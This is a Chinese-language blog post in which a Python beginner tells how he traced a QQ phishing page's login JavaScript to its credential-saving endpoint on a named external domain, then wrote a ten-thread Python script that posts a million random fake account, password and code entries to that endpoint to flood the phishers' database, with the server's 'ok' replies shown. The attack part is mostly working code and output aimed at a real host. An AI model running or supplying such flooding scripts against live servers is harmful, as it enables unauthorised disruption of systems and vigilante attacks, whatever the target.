当python小白遇到QQ钓鱼网站
今天又是和平(无聊)的一天,突然我的qq邮箱接受到一个信息,我向往常一样想着----这又是一个垃圾信息。但当我打开看到内容时,嗯 0.o ~~。没错,它吸引了我。
嗯??嘿嘿,我满怀期待的点了进去。出现了一个网址,我继续点了进去。我渐渐猜到了答案。
哈哈,果然是钓鱼网站,淦!我到底在期待什么。我开始生气了。我f12开始查看源码。花了一点时间终于被我找到了关键的地方。嘿嘿,既然你这么想盗qq号,一个“邪恶”的想法在我心中发芽。
这个是点击登录的js代码。又花了一点时间我找到了真正保存账号和密码的url。
哟嚯~~ 好家伙,还是国外的服务器,嘿嘿。
这是参数变量。稍后会用到。
接下来我们打开postman试一试。
嘿嘿,成功了。既然你这么想要qq号,那我就在你数据库里面插入足够多的“qq号”。
接下来上python代码。
import requests
import random
import time
from threading import Thread
def fun():url = "http://shengts0056nz.top/save.php"for i in range(100000):# form-data参数要写成如下格式,注意有Noneu = ""p = ""code = ""for i in range(8):ch = chr(random.randrange(ord('1'), ord('9') + 1))u += chch1 = chr(random.randrange(ord('0'),ord('9') + 1))p += ch1for i in range(6):ch2 = chr(random.randrange(ord('0'), ord('9') + 1))code += ch2print(u+'-----'+p+'------'+code)data = {"u": (None, u),"p": (None, p),"h": (None, "qinglv"),"code": (None, code)}# 此种方式发送form-data类型参数时,请求时不要headers,且用files参数response = requests.request("POST", url, files=data)print(response.text)
if __name__ == '__main__':for i in range(10):Thread(target=fun).start()
我们看下结果
{"code":"100","msg":"ok"}
73526234-----42531555------167965
{"code":"100","msg":"ok"}
25596369-----95633045------304276
{"code":"100","msg":"ok"}
59393119-----94890115------582499
{"code":"100","msg":"ok"}
14698391-----15412237------162877
舒服了,哈哈。(● ̄(エ) ̄●)